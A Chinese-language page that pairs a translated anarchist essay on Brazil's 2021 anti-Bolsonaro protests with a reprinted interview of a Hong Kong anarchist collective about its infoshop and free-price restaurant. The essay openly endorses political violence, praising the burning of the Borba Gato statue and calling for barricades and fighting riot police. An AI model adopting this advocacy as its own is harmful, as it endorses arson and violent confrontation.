我们决不能接受那些将抗议者定罪的人，或者通过引用法律和鹦鹉学舌来质疑他们的合法性；更糟糕的是，那些积极与警方合作的家伙，就像7月24日示威前几天在圣保罗发生的那样，当时协进会、全国学生联盟（UNE）、工人事业党（PCO）和巴西社会民主党（PSDB）的代表与警方坐在桌前，就抗议活动的内容、时间和地点、谁将是示威活动的合法组成部分、以及警方应该针对谁，达成一致。

这次会议的记录被公布在网上，暴露了对无政府主义者和自治运动定罪的过程。各运动和政党同意使用罚款来惩罚占据同一地区或同时组织行动的意识形态不同的示威者。当然，这将限制反法西斯组织针对法西斯分子的反示威，给极右翼一个攻击被压迫者的自由通道。在签署这一协议时，协进会、PCO和PSDB在意识形态上变得等同于否定直接行动和他们归咎于渗透者的“暴力”行为。他们也成为随后任何警

察镇压的同谋。

这些扼杀街头自治、原住民和无政府主义组织的企图表明了等级制度的做法和方法的危险性。如果人们自主行动以表达他们对死者的损失和生者的痛苦的愤怒，不仅让警察感到不安，也让那些与我们一起游行的人感到不安，那么这些运动很可能在警察自己动手之前就扼杀了任何反叛行为。

选择攻击同伴的抗议者，以及实施攻击的团体领导层的完全沉默，暴露了他们的专制主义，他们只有在能够控制反抗时才接受反抗。当他们只想创造一种针对他们认为“合法”的唯一社会变革形式的反抗形象时，上街施加真正的压力并不是优先事项：投票箱才是。

[Rede de Proteção e Resistência ao Genocídio（保护和抵抗种族灭绝网络）对 *MTST* 行动的否定说明。*]*

和平无法保护我们

「图」

历史上，像整体主义（巴西的一个古老的法西斯主义运动）这样的极右运动是无法通过投票或请愿来阻止的，只能通过直接行动。我们可以从1934年被称为“Praça da Sé之战”的事件中看到这一点，当时无政府主义者、社会主义者和共产主义者破坏了圣保罗市中心的整体主义集会，偷了一把警察的机枪，并以暴力驱散了那些法西斯分子，将他们的运动埋葬在未来的几十年里。frenteantifabh

「图」

A post shared by @frenteantifabh

2020年，巴西的示威者意识到直接行动是必要的，反法西斯运动的支持者们发表了阻止右翼车队和集会的呼吁，后来谴责了种族主义和警察暴力。该运动从美国的乔治·弗洛伊德抗议活动中获得了动力和灵感。许多组织和公众人物表示，他们不会加入示威活动，并建议人们留在家里，声称示威活动将“为博索纳罗政府提供更大的镇压借口”，甚至“政变”（或“自我政变”）。正如我们在美国的起义中看到的那样，这种说法是反动的，故意把软弱强加给社会运动，因为它把镇压的责任放在被压迫者身上。

想象被动会让专制者感到满意，而不是让他们更加胆大妄为，这是愚

蠢的。对付像博索纳罗或特朗普这样的暴君，屈服并不是有效的战术。

美国、哥伦比亚和智利的运动已经照亮了我们如何通过打破社会安宁的假象，在一系列社会部门中普及反叛和组织，以及避免受到等级森严的团体管理和禁锢以向前推进。当然，我们不应该满足于让步。智利的新宪法或美国的所谓警务改革可能只会让我们在长期内更难追求有意义的社会变革。不过，很明显的是，如果那些试图平息叛乱并将其定罪的势力在我们的运动中获得了地位，那么我们将不会取得哪怕是部分的胜利，比如博索纳罗的立即倒台。

我们可以肯定的是，并不是所有参加大规模民众起义的人都会是正式组织的成员，他们也不应该是。不是每一种形式的行动都是社会运动所预见和计划的。与其质疑那些行动者的 “组织” 或 “合法性”，我们不如问问自己如何支持他们，如何提供工具，使起义变得更加有冲击力，如何帮助建立持久的替代方案。

至于街头的战斗行动的危险性，我们记得在5月29日，累西腓警察不需要任何借口就袭击了一场和平的抗议活动，并使两个甚至没有参与的人失明。如果有一个有组织的团队在场，用盾牌保护抗议者，像智利和香港的前线那样用战斗手段与防暴警察保持距离，老人、家庭和行动不便者的存在就不会成为宣传所谓的和平主义然后接受被警察殴打的借口。根据那些寻求中央集权、控制和和平化的人的 “革命时钟”，现在绝不是建立街垒和反击的正确时机。但当法西斯主义蓬勃发展，占领了街道和机构时，这就表明我们的时间已经晚了，早就应该采取更激烈的行动了。

瓦解法西斯主义包括破坏其基层组织，阻止其游行和集会，使其无法占领街道以招募更多成员，并使其传播意识形态的策略失效。6月和7月的行动表明，成千上万的人愿意走上街头，将后果转移给富人和权贵。土著人民一直在组织起来，反对他们几十年来所面临的最具破坏性的政府；他们显示出建立民众和激进联盟的意愿。

作为城市、农村和原住民土地上的社会斗争对话的结果，7月24日，即 当月最后一次针对博索纳罗的全国性大抗议的日子，人们放火烧毁了先驱者 Borba Gato 的雕像，这是一个建立在原住民灭绝和黑人奴隶制之上的财富象征。在一项由 Revolução Periférica 集体签署的行动中，人们用燃烧的轮胎包围了这座42英尺的雕像。一些被指控参与该团体的活动人士在几天后被捕，包括 Entregadores Antifascistas（一个反法西斯运动的送货工人非正式组织）的成员保罗·加洛和他的妻子盖西卡·巴博萨。巴博萨于7月30日获释，但加洛仍

被非法监禁。

当我们集体占领街道，从我们的错误和成功中学习，分享抵抗和自卫的工具时，才能比指望领导人和官僚们为我们做工作，更进一步地实现我们的革命目标。现在，面对持续恶化的危机，一些活动家会退缩，屈服于这种妄想，妄想于这个凶残的政府可以通过它自己的体制机制来纠正自己。而事实恰恰相反。我们必须更努力、更聪明、更有创造性地争取我们心中的新世界。

让我们成为在街头筑起街垒对抗法西斯主义的人，而不是拆毁街垒的安抚之手。〇 他们“抢劫我们，杀死我们 —— 仅仅弹劾是不够的！”即使是部分胜利，也需要在街头开战。

〇□

Nem CPI, Nem Eleições: Só o Povo Nas Ruas Vai Barrar o Genocídio

原文

"我们要尝试一种没有霸权的生活"：对香港行动者的访谈 - iyouport

反抗者-寻求经验无政府主义长读

这些香港行动者所表现出的不依赖、自己动手的直接行动精神，恰恰是中国大陆异议人士所缺乏的。

本文来自香港媒体 lausan 的采访。

【注】想要理解这份访谈，您需要首先读懂这篇文章《从民主到自由》。

📌 关于本文中提到的书籍，法国无政府主义组织隐形委员会的《革命将至》，中文版，在这里下载：https://www.patreon.com/posts/zhong-wen-ban-ge-56517924

香港的行动者不仅讲明了、而且实践了我们一直在强调的却至今仍未能在中国大陆普及的几个要点（您可以通过链接看到具体内容）：

1、逃离国家和资本的控制 ；

2、摆脱主权政治秩序；

3、我们尽可能不讲“主义”，而是先讲“状态”；如果您厌倦了上访、对下跪乞求的维权姿态感到困惑，那么直接行动就是您值得重视的战术转变 —— 直接行动就是无政府状态：

4、观察家不是单纯的点评者，不能仅仅是坐在那里指出这个是对的、那个是不对的；要知道，每个人的眼界和经验都有限，如果仅仅根据我们有限的眼界来判定什么是值得支持的什么不是，我们有可能错过与众不同的、前所未有的解决方案 ；

5、在中国，我们也听到过异见人士通过聚餐沟通感情的故事，帮助尚未彼此熟悉的同道加深了解，以促进可能的亲密团队关系；以及维稳当局如何对酒局进行针对性的打击。但这些酒局并不是空间，它们

经常不是自治的，并没有摆脱资本和国家，它们只是中国传统的酒桌文化的一部分。于是，它们不是行动主义的。那么，如何升级它？；

6、我们介绍全世界的反抗经验，并尽可能跟进世界上正在发生的具有联盟意义的反抗行动，因为，在这个时代，单一主题的反抗运动和局限于本土的反抗运动，都将很难取得真正的成功；

7、如果你只是在等待所谓的“外援”，一切都无从实现。民主不是政权做什么，而是人民做什么 —— 是真正的公民，而不是消费者。这意味着您需要首先准确定义自己，而不是等待被他人定义。换句话说，仅仅知道自己“不是什么”是不够的，更重要的是，我们需要知道自己想要成为什么。

📌 我们此前上传了一个博客，与本文的主题有关，您可以听：《中心化的问题需要去中心化的解决方案》。本文就是一个「空间」

值得注意的是，本文中的主角“So Boring”，在中国媒体如“界面新闻”中都是有报道的。但是，至少我们的角度，从未见到中国异见人士基于这点讨论关于香港的行动。这令人困惑。

【lausan 的编者按】在2011–2012年的“占中”之后，一群参与者决定在油麻地德昌里建立一个信息商店，并经营一家名为“So Boring”的自由定价餐厅。这个空间不仅在此后的岁月里为这个集体提供了生存的手段，而且还为其提供了庇护，使其不受国家和资本的时空约束。因此，其成员能够维持他们在占领汇丰银行总部下面的广场一年期间发起的非国家主义形式的社团和社区实验。

正如下文中对他们中几位成员的采访所表明的那样，他们对无政府状态的承诺意味着对主权范式的拒绝。左翼和右翼在他们的政治斗争中都坚持要夺取政府的统治权和垄断合法的暴力来实现社会变革；如果构成一个新的霸权只是意味着产生新的统治形式，那么我们就必须想象一种没有霸权的生活。

因此，该团体的目标是在其信息商店和群众斗争中，开辟偶然性和自由游戏的空间，亵渎既定的政治坐标，萌发主体性、关系和实践，预示着从主权政治秩序的社会逻辑中脱离出来。

该团体目前正在举行筹款活动，以帮助重新开放他们在深水埗的空间，现在它叫“黑窗”。它将成为一个重要的社区和资源中心，而这个城市正需要一个强大的抵抗基础设施。有关如何为筹款活动捐款，以及他们活动的最新情况，请访问他们的 Facebook 页面和 Instagram

账户。

为清晰起见，本采访已被压缩和编辑。

【注：信息商店是人们可以访问无政府主义者或自治主义者思想的地方。它们通常是独立的项目，或者可以构成更大的激进书店、档案馆、自治社交中心或社区中心的一部分。通常，信息商店会提供传单，海报，杂志，小册子和书籍以供出售或捐赠。徽章、当地艺术品和T恤衫等其他物品也经常可以买到。此前我们曾经在介绍古巴反抗行动的文章中提到过古巴的信息商店，见《这一次，站起来的是真正的人民》。】

> *Everyone has the fire, but the champions know when to ignite the spark. ~ Amit Ray*

来自 “黑窗” instagram

Lausan Collective: 你们的集体是什么时候和如何形成的？无政府主义在香港的政治环境中或多或少是不存在的。你们的成员是如何熟悉并致力于无政府主义的？

D：2011年，我们在汇丰银行总部下的 “占中” 运动中彼此结识。那时，我们认识了一群自称无政府主义者并拥护无政府主义价值观的同道。那时候我什么都不知道，虽然我现在也不会说我知道太多。一切真的都是通过我们开展讨论和以协商一致的方式作出决定的，我熟悉了无政府主义背后的价值观。并不是我们每个成员都读过无政府主义理论及其传统 —— 也许我们大多数人都没有读过 —— 我们只是认为这是一套适当的原则，据此我们可以共同生活和工作。

- 对此，如果您错过了《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》

N：我赞同D，我们中有些人对这些问题比其他人更感兴趣。另外，有时我对这个无政府 “主义” 的标签感到奇怪。我是在北美的无政府主义环境中长大的，而无政府主义在美国的含义已经发生了很大的变化，你知道吗？它与反全球化运动和 Black Bloc 有关，而在希腊，比如说，它的含义就与西班牙的无政府主义非常不同。

不久前，西班牙的CNT来到香港举行会议，他们邀请我们，打算把我们带入他们的工团主义中。我们坐在那个会议上，听着他们说的话，几乎每天都昏昏欲睡。所以，有这种无政府主义的遗产和与之相关的

所有包袱，以及这个词所属的所有不同的、多价的语境，我想说，我们百分之九十的人都对这些东西不感兴趣。但是，如果有人说“油麻地德昌里……那个无政府主义团体！”，我不认为我们团队中有任何人会说，“不，那是错的”。

【注：工团主义，又称工联主义、辛迪加主义，是一种以劳工运动为主导的社会主义，旨在工人阶级团结起来组织工会，通过纯粹的工人组织以及罢工来推翻资本主义和国家，以使企业由资本家主导变成由工人主导。 工团主义不是通过理论或系统阐述的意识形态来实现的，而是强调行动本身。 】

- 如果您错过了这本书《收益递减：在内卷的世界里思考全球资本主义》

来自“黑窗” instagram

D：实际上，我们曾讨论过我们是否反资本主义的问题。

N：是的，很久之前了。问题是，在我们的集体中，如果你问我们一个关于无政府主义的问题，不同的人会有不同的答案。但就反资本主义而言，每个人都支持这点。

- 对此，如果您错过了《法西斯主义如何与资本主义融合以重新定义政府》

D：广义上讲，香港还有另外两个无政府主义团体 —— 自治8a和70年代组合起来的老一辈无政府主义者。我们时常与他们合作，但我们和他们在做事的方式上有分歧。我们确实从他们那里受益，因为他们建立了一个基层斗争的网络，通过他们，我们认识了很多不同的人和社区，比如农民工和争取居留权的大陆移民。

- 分歧不是问题；但行动者没有分裂的本钱，您的对手越是强大，就越是如此。彼此间取长补短始终是联盟的中心意义，联合不等于服从！

Y：在“占中”期间，我们和其他许多人—— 几个“自治8a”的成员，以及一个名为FM101的公民频道工作的幕后人员一起在那里。当时有一些会议，一些曾经尝试过共识决策的朋友建议在会议上采用。于是，大家都试了一下，并同意从那时起采用它。我想当年的一些决定现在仍然有效。

LC：无政府主义在香港的历史是怎样的？

Y：其实我们对它的了解不是太多。

N：我认为在无政府主义方面，香港没有明确的、连续的脉络。当我们接触到8a时，他们也不会谈论这些事。对我来说，那是我成长的过程，对我们中的一些人来说，他们读了一些克鲁泡特金的书，谈论互助。我想对于现在香港的很多孩子来说，无政府主义就像是他们观察到的发生在 Black Blocs 的某种 “异国景象”。

D：也许我们中的一些人当时就是这样的。我们会浏览社交媒体上的黑衣人投掷燃烧瓶的网；然后出现了翻译版本，比如说法国无政府主义组织隐形委员会的《革命将至》，通过阅读这些书 —— 尽管他们不称自己为无政府主义者 —— 在我们组织的阅读小组中，我们都觉得我们的取向与隐形委员会的取向相一致。

【注：这很重要。也是为什么IYP从来不强调左右和主义，一定程度上源于中国读者对左右和主义的定义有很多误解，但更重要的原因是，我们希望避免定性和两极分化，我们更愿意从愿景入手，找到大家的共同目标，由此探讨战术可用性。】来自 “黑窗” instagram

N：我们的发展部分与我们多年来结交的朋友有关。只是由于我们在油麻地有了空间，在那之前，在 “占中” 有了空间。我们一路上认识的这些朋友 —— 来自法国 **La ZAD**、日本镰崎和中国武汉—— 他们告诉我们他们在哪里做什么，给我们看他们做的东西和他们写的书，这对我们影响很大。

LC: 在你的 *Indiegogo* 筹款活动的描述中，你说你并不渴望国家主权或政治独立，而是渴望产生你们的能力和潜力的权力，这在 “集体技能、知识和实践，*[你]*能够……建立、培育和流通” 中得以实现，以便 “*[建立]*不同生活的基础，以及捍卫它的手段”。这里指的是什么样的自由概念？以及什么样的政治视野（如果有的话）支撑着你的政治愿望？你的承诺是如何影响你参与香港政治斗争的方式的？

N：这个问题有多个含蓄的概念。首先是与自由有关的。独立和国家主权是自由的一种变体。至于什么样的政治视野支撑着我们的政治诉求，我们的诉求是否可以被恰当地定性为政治诉求？因为政治领域是意志和征服权力的领域，也是争取承认和代表的斗争；我在想 “躺平” 的现象。它在中国的社交媒体和西方都被广泛讨论。我读了很多关于这一现象的左翼评论，特别是在中国，评论员们说，“这些躺平的年轻人 …… 完全是不关心政治的、冷漠的一代。它没有形成任何形式的政治主体性，而没有政治主体性，你就无法进行革命”。完全是老派的、左翼的政治活动秘诀。我坐在那里想，他们完全忽略了 “躺平”

的意义。我认为这很有趣，因为躺平没有形成一个主体性，因为政治主体是一个有意志的代理人，然后许多有意志的代理人形成一个集体意志，而这个集体意志继续征服权力。躺平只是一种不能被这种范式所捕捉的东西；它就像阿甘本的 **inoperativity 概念**—— 一条逃离意志机器的路线。

- 如果您错过了《“内卷”、躺平、政治、经济、工人阶级和民族主义：全方位看中国》

> 与其总是想着 “我应该做什么？” 或 “我们可以做什么不同的事？”，不如说是那个小小的空隙，或停顿，或间歇，打断了我们习惯的思维和行为方式？在那个暂停或间歇中，也许有机会让政治机器被中断。

显然，我并不是说 “什么都不做比做什么都好”，也并不是说我们在形成意志或放弃意志之间徘徊。我认为 “躺平” 姿态所代表的是政治模式的某些东西已经耗尽了自己。也许在这个姿态中，有一些重要的东西是拒绝形成意志、拒绝以习惯性的和被编纂的方式行事，以便符合政治行动的条件，而且人们的活动有一些可能性是不透明和不可读的。

也许我们不应该养成用熟悉的术语对姿态进行编码的习惯，以便毫不含糊地谴责它，然后提供我们的处方。我认为坦克左也是这样反应的，坦克左主义就像一种算法，扫描一切，然后说：“这不符合我的信仰，所以这是帝国主义的” …… 这只是粗心和愚蠢。

也许我们应该暂停那种总是说 “好吧，我们应该做什么？” 的寻求正确答案的习惯，有时要关注那些 *不做我们习惯做的事* 的方面。当阿甘本谈论 inoperativity 的时候，他是在暗示，潜力总是做的潜力，但也是不做的潜力。

如果我们总是专注于成为一名活动家，成为左翼，或者成为其他什么，那么我们就会错过这样一个事实：我们可以做一些与我们正在做的事不同的事。与其总是想 “我应该做什么？” 或 “我们可以做什么不同的事？”，不如说是那个小小的空隙，或停顿，或间歇，打断了我们习惯的思考和行为方式？在那个暂停或间歇中，也许有机会让政治机器被中断。正如德勒兹和伽塔利所说，这种可能性和这种潜力代表了一条逃生路线。因此，在某种程度上，我们的集体有兴趣退出并创造一些不能被政治机器捕获的其他东西。

【注：吉尔·德勒兹（Gilles Deleuze）和菲利克斯·瓜塔里

（FélixGuattari）在其著作《资本主义与精神分裂症》中提出了一条逃生路线。它描述了形成德勒兹和瓜塔里所说的组合的三分之一，并作为组合中的一个因素，最终使它能够改变和适应这种变化，而这种变化可能与新的社会，政治和心理因素有关。皮埃尔-菲利克斯·伽塔利 (Félix Guattari) 法国哲学家、精神分析师、社会活动家。他发明了“精神分裂分析”和“生态智慧”；吉尔·德勒兹 (Gilles Deleuze) 法国后现代主义哲学家。 】

Y：至于我们如何参与斗争，我们通常会去观察政治行动期间的情况，然后再考虑之后我们还能做什么。从根本上说，我们不会想以一种扁平化的方式去理解参与者。

N：如果你把香港的斗争定性为 “政治斗争”，虽然它们在表面上是政治斗争，但这样的定性就会导致人们以某种方式与斗争中的行为者和主体联系起来。比如，在码头工人的罢工中，一种刻板的左翼方式是把他们当作抽象的东西 —— 普通工人，代表着一个由工会指导和代言的群众的身体。对于我们的集体，我们会认为他们提出的要求是绝对合法的，他们应该能够实现这些要求。

那么这就提出了一个问题：如何实现这样的目的？他们应该由工会负责人代表吗？在大多数情况下，他们是否应该只是坐在那里，被摄像机拍下，只是作为一种景象，以表示他们在争取什么？至于支持罢工的人，我们如何与这些工人发生联系？难道我们只是简单地带着一些标语和横幅出现，说：“我们是一些支持你们的大学生”，然后在他们周围展示你的标语以示声援？否则声援这种东西还能如何体现？

这些都是我们在参与这类斗争时提出的问题—— 团结意味着什么？它是我们作为支持者和他们作为提出一系列要求的人之间的某种分离吗？这并不是我们与我们参与的斗争之间的关系。我认为，把一些东西归类为政治斗争，然后使用像团结这样的非常简化的术语，会加强这种关系。我们可以肯定的一点是，只要有群众斗争出现，我们就会出现。对我们来说，一场斗争所呼吁的要求是次要的，而在斗争中的游击队员之间所形成的关系才是主要的。我们对这种斗争的参与不仅仅是与他们并肩行进以确保要求，因此，虽然实现这些目标对于过上有一半尊严的生活来说至关重要，但是这些要求并没有定义我们与他们之间的关系的范围。

- 如果您错过了《现在团结：当下的口述历史实验》

来自 “黑窗” instagram

D：我们已经多次出现在支持外来家政工人组织的示威活动中，所以我们已经接近了一些外来工人，以便真正了解他们的需求。也许他们想参加或组织一些研讨会，因为他们想学习，比如说，英语。我们会举办一些课程，在教他们之后，也许我们想和他们做一些其他事。除了他们想要实现的政治要求之外，还有一些其他事可做，比如和他们一起创作一些杂志，让他们有一个空间来讲述他们的个人故事。对我们来说，除了他们想确保的要求（这很重要）之外，我们希望他们感到自己被重视，感到人们愿意倾听他们的故事。

LC: 你将在你的新空间开展的活动 —— “协调放映，策划我们的图书馆，组织讨论和研讨会”—— 你是否打算让更多的人变得激进？

N：不，我不会那样想。当然，部分原因是我们有一个信念，即 我们所做的事是新颖的和有意义的 —— 我们在过去的十年里一直在一起，这使我们得以生存。我们想分享这些经验并交流，但也不是说我们有什么要交流的，因为在某种程度上，“黑窗” 是我们把自己暴露在外面了，让我们有一个可以遇到其他人的地方。我觉得相遇的空间是一种媒介，为了，也许是，激进化。不过我并不想用这个词，因为我经常不知道激进化是什么意思。这是否意味着我们组成一个《资本论》阅读小组，读完所有三卷？然后呢？阅读左翼文学的人数并不能说明什么，因为，比如说，我们的日本朋友总是抱怨说，日本有非常多的学者，学术文化，他们有研究马克思主义的悠久传统，很多孩子阅读与极左翼有关的文化理论，然后他们将此作为一种职业，分析和批判事物。这根本不能说明什么问题。另外，激进化往往是左翼组织招募更多成员的暗号；它建立了一个单向移动的回路 —— 有激进者使非激进者激进，而这种单方面的传播并不是我所认同的。在 So Boring 外面的街道上放映电影，这里是 “黑窗” 的前信息商店餐厅。照片由黑窗提供。

我更愿意说我们的空间是一个相遇的空间，而相遇，对我和我遇到的人来说都是新的和未知的东西，从我们的交流中可以获得某种发现。这就是为什么我们一开始就建立了我们的餐厅和信息商店。这是为了遇到不同的人，或者不同的现实片段，这也包括我们去新界的乡下保卫农田，或者去码头里面见码头工人。我们想遇到真实的生活。我们想体验现实，而现实是我们无法理解的。所以这就是我们想要的 —— 转型、蜕变、经历。这就是我们认为可以在斗争中找到的东西，遇到与我们非常不同的人，在我们的经验和理解之外。

如果要谈论谁是激进的，我会说：是我们。当然，通过我们的空间，我们想传播我们所接触到的材料和事物，因为这些东西在香港是无法获得或看到的，我们认为把这些东西放在外面很重要。但这并不是要

让任何人变得激进。它是为了提供不同类型的观点和解决方案，以解决我们都面临的问题，以及我们如何使用这些材料来处理这些具体问题，并以它们为基础，尝试创造不同类型的解决方案。

Y：我们已经推出和将要推出的东西是我们集体认为很棒的东西。我们组织的演出和展览的特色是我们认为很棒的音乐和艺术作品。在你参加了我们组织的活动后，你不可能被“激进化”。我们只是想更经常地推出我们喜欢的东西，让更多的人可以接触到它们。

D：是的，我们喜欢的东西和推出的东西，从美学上讲，并不完全是最直接的，并没有一些明确的政治声明，没有迫使你支持或反对一件事。我想我们希望我们的空间能允许不同的表达方式。我想到的一件事是，有一棵树原是菜园村的，当该村在反高铁抗议活动后被拆除时，菜园村的村民将这棵树送给了马屎埔。现在，马屎埔也面临着拆迁，为恒基地产的豪华公寓铺路，一位朋友问是否有人想收养这棵树的树枝，许多人最后都拿走了树的一部分，在自己的空间里种植生长。这样一来，这棵树的旅程就成了对香港日益受到威胁的农业生活方式的纪念，也是对那些与反对中国政权和所有民族国家的斗争同样重要的且被忽视的另一项斗争的纪念。

【注：要理解上述关于这棵树和相关故事的背景，请参见《新自由主义的香港向世界讲述了一个什么样的故事？》】

Y：我们以前有一个替代空间。随着“黑窗”的重新开放，我们可以把普通人、经验、不同的斗争和日常实践联系在一起—— 我们如何种植一棵树，我们如何消费。

LC: 我问了前面关于激进化的问题，因为在《明报周刊》的采访中，你们中的一个人说，你们希望更多的高中生能接触到你们的空间和你们所代表的东西。

D：哦，那是我说的！我们没有真正接触过。我们过去并没有真正接触过高中生。2019年后，也许年轻人想接触并了解更多的政治。我想了解并与他们交谈，不是因为我认为他们是一张白纸，对社会运动如此陌生，我想教他们，传授我的智慧，不是的，而是因为，在抗议活动中，我的感觉是，在我和其他人处理事情的方式上，存在很大的差异。有很多东西我需要学习。也许通过与我们空间里的人相遇，他们可以吸收一些我们所坚持的原则。但是，正如**N**所说，这些相遇是双向的。我们也会从其他人身上学习。高中生是一个人群。现在我们仍然没有接触到许多其他类型的人。

N：邂逅就像谈话。你并不回避提供你所相信的观点，而且在某种程度上，你欠人们一个人情，能够沟通他们可能无法获得的观点。所以，我觉得与学生交谈不是一个单向的传输带。并不是他们什么都不知道，而你什么都知道，因为，从与他们交谈的经验来看，我也会从一个我通常不会看到的角度去看问题。So Boring 的信息商店。照片由“黑窗”提供。

LC: 是什么促使你们决定为你们的餐馆-信息商店的重新开业进行宣传，在《明报》、《明报周刊》和《香港专题》上出现？你不担心政府会监视“黑窗”组织的活动吗？

Y：我不认为政府会有时间做这些事 ……

N：比起被政府监视，我们更害怕破产（每个人都笑了）。

D：这是个两难的问题。我们想要更多地曝光，以筹集足够的资金，以及获得与我们以前没有接触过的人联系，但我们也必须意识到，政府可能会对我们进行审查或引起骚乱。但这是我们现在所处的普遍状况。不管你是否有一个实际的空间，当你做一些政治敏感的事时，你总还是要担心的。

Y：到目前为止，当我们接受采访时，我们肯定会考虑到我们能说什么，不能说什么。当然，我们希望我们可以谈论我们的信仰，但在接受采访之前，我们真的要考虑如何更好地进行。

- 对此，是需要技巧的，请参见这里的说明《和媒体说话时如何避免陷阱：示威参与者指南（*13*）》

N：自从“占中”以来，我们决定不与任何形式的媒体交谈。但是每次我们需要筹集资金的时候，我们就只能放弃大部分的原则，任何人都可以问我们问题（大家在笑）。

D：不，这同时也是由于我们认识一些在媒体工作的人，我们很了解他们，可以保证他们不会歪曲我们的言论。这里面肯定还是有某种原则的（笑）。

N：我们所说的并不那么容易被编码和扭曲。我们不会一直直接谈论香港人，所以他们很难把我们说的话解密成二元论。就当局而言，我们所进行的采访并不那么危险。

LC: 考虑到你对破产的担忧，你是如何决定为 *So Boring* 采用“按需付费”的模式的？以及它的可持续性如何？

D: 在经营 So Boring 的两三个月后，在我们进入状态后，我们想知道我们还能做些什么来让人们知道我们是谁、以及我们的立场。一个朋友建议我们采用一个自由的价格系统。如果你是一个客户，并且愿意付费，你可以向我们提出一些问题，以了解我们的情况。另外，在油麻地，有很多老人、妓女和无家可归的人 —— 这是一个老街区，人们不是很富有 —— 我们希望这些人能够在我们这里吃饭，并接触到世界不同地区的美食。

另外，我们自己也是穷人。我想这也是其中的一个原因（笑）。我们吃不起昂贵的食物。只要我们自己不打算从中获得多少收入，自由的定价系统就是可持续的。如果这就是我们限定的可持续性，那么是的。

问题是，我们每天晚上只开放几个小时的晚餐。我想，如果我们一周开七天，时间长一点，从能够为在那里工作的人创造收入的意义上来说，它就可以持续下去的。我们没能在午餐时间开业，因为这条街道被用于不同的目的。我们旁边有一个机械厂，还有很多卡车在卸货 …… 这对午餐服务来说不是一个好的环境。我们从来没有产生过任何巨大的财务损失。当然有时我们会遇到财务问题，我们有时会因为去参加码头工人的罢工，或者去保护东北地区的村庄而几天不营业。我们会在网上发布一些信息，“嘿，我们有点完蛋了……我们还剩五六天，我们付不起房租了”，人们就会帮助我们解决。所以我想说，我们之前的厨房在很多方面都是非常成功的。

然而，“黑窗” 不会对整个菜单使用自由定价系统。我们将有一道主菜是自由定价的，还有两道主菜是标价的。我们仍然在会议上对食物应该如何定价进行了非常长时间的讨论。这是一种痛苦，因为香港的所有东西的价格都在上涨。在外面吃饭越来越贵，即使是你能得到的只是最简单的饭菜。我们不认为外面的价格是合理的，特别是考虑到你在外面得到的很多食物甚至一开始就不好吃。我们也不认为我们的食物定价合理，尽管我们认为我们的食物会比你在其他地方得到的东西好很多。我们也都很穷。这是一个非常棘手的情况。这只是证明了在香港做穷人很糟糕。“黑窗” 在家煮食。来自 “黑窗” instagram

D：我们会试运行一两个月，看看如何平衡我们的成本。如果我们的运营成本能够解决，我们想逐步扩大我们的自由定价系统。另外，我们想逐渐使用越来越多的本地产品。在 So Boring 这些年，我们大多从湿货市场购买食材，我想我们得到的蔬菜主要来自大陆。在收获季节，我们也会从当地的农民朋友那里购买。因为我们做的是自由定价，所以很难使用比较贵的食材。不过，我们确实有一些原则。例如，我们不使用白糖，当我们购买酱油时，我们会选择那些含有较少

有害化学物质的。

N：我们中的一个人现在是全职农场主。他是在 So Boring 关闭后开始做的，因为我们都必须找到一种谋生的方式来为新空间的开放做准备。一旦空间开放，他仍将是一个农民，因为他将用他种植的东西为我们的空间作出贡献。但他的农场种植规模不大，所以他们能提供给我们的蔬菜数量将是有限的。

D：在新菜园村还有一个我们认识的农民，他们也会与我们合作。也许我们也会探索如何从头开始制作食物，比如自制的面包。

LC：食物的政治意义是什么？它在政治斗争中是如何体现的？

N：我认为在西方，这种联系比在香港要明显得多，因为在美国有一些长期的项目，比如“要食物不要炸弹”之类的，而在香港，什么是“政治”，什么不是，也就是说，什么是我们的生活方式，我们一起或单独从事的活动，以及这些与我们的主体性或事实上的主体性之间的关系，一直都有这种裂痕。例如，当我和D在雨伞运动中把我们在厨房里做的食物带到旺角占领区时，一些人告诉我们，食物是每个消费者自己决定的个人问题，我们不应该关心人们在斗争中如何喂饱自己。毕竟，他们告诉我们，在香港的每个街角都有7–11和麦当劳……这就是作为一个超级资本化大都市居民的所谓“优势”。

- 如果您错过了《如何喂饱抗议者？- 走进“反叛厨房”》

这也是为什么每次在香港出现大规模动员时，你都会立即看到大量的预包装的食品和企业的瓶装水—— 无疑是由善意的人捐赠的。这也是为什么在雨伞运动中，围绕着人们在营地内烧烤和组织公共火锅聚会的“狂欢”性质，出现了巨大的争议。人们认为“政治”斗争的情感氛围与与此无关的世俗事物之间存在着某种本质上的不协调，而这种不协调本应该是朴素的、愤慨的。这就是允许我们做的事的范围；即使我们在反抗的时候，我们唯一能接触到的主体性仍然是公民-消费者。

【注：我们认为中国大陆的异议人士对什么是政治的理解也很不充分，幸运的是，网络上就有一些很不错的中文讲解资源可供您学习。】So Boring 的厨房。照片由“黑窗”提供

对我们来说，作为穷人和/或素食者，你在外面吃饭时并没有太多的选择，所以 **So Boring** 的基础是我们必须学会为自己制作有营养的食物，这样我们就会有一些满意的东西来维持我们的长期会议、聚会和

行动。

然后我们发现，在餐厅为大量人群做饭的过程中，这些技能可以转移到大规模的斗争中去，比如保卫新界东北部的农田，等等。

当每个参与者能够聚在一起，在与法警、保安和警察在阳光下对峙之前，坐下来吃一顿充满营养的热乎乎的大餐，就会产生巨大的变化。这顿饭显然也是欢聚和交谈的媒介，让那些可能不太熟悉的人在个人和非正式层面上相互联系起来。

在餐厅里，我们一直把食物作为一种媒介的形式，并且它也有自己的物质特性。这就是为什么当我烹饪来自中东、印度或非洲的菜肴时，不仅仅是为了让别人接触到与我们自己的文化不同的烹饪文化，也是为了让自己与自己的习惯性烹饪习惯保持距离，以一种非常物质和具体的方式了解其他文化如何准备食物以及他们处理原料背后的哲学。

我想尊重这一点，并要求其他人也这样做，这就是为什么我倾向于不将食物本地化，不去“翻译”菜肴以适应当地人的口味。还有一个事实是，食物以另一种方式发挥着媒介的作用 —— 提醒人们注意世界各地正在发生的事。如果黎巴嫩、巴勒斯坦或白俄罗斯发生了动乱，我们可能会尝试学习准备该地区的东西，同时发表一篇关于我们对这个或那个起义的看法。

在厨房里大声播放的音乐也是我们实现这种联系的一种手段，我们喜欢播放街头音乐，来自不同地方的城市音乐。这是一种非常明显的方式，让人们与他们所远离的文化、民族和历史联系起来，但同时，这种联系也是通过我们共同的愿望和转型的渴望而形成的。

LC: So Boring 是如何按照你的原则运行的？

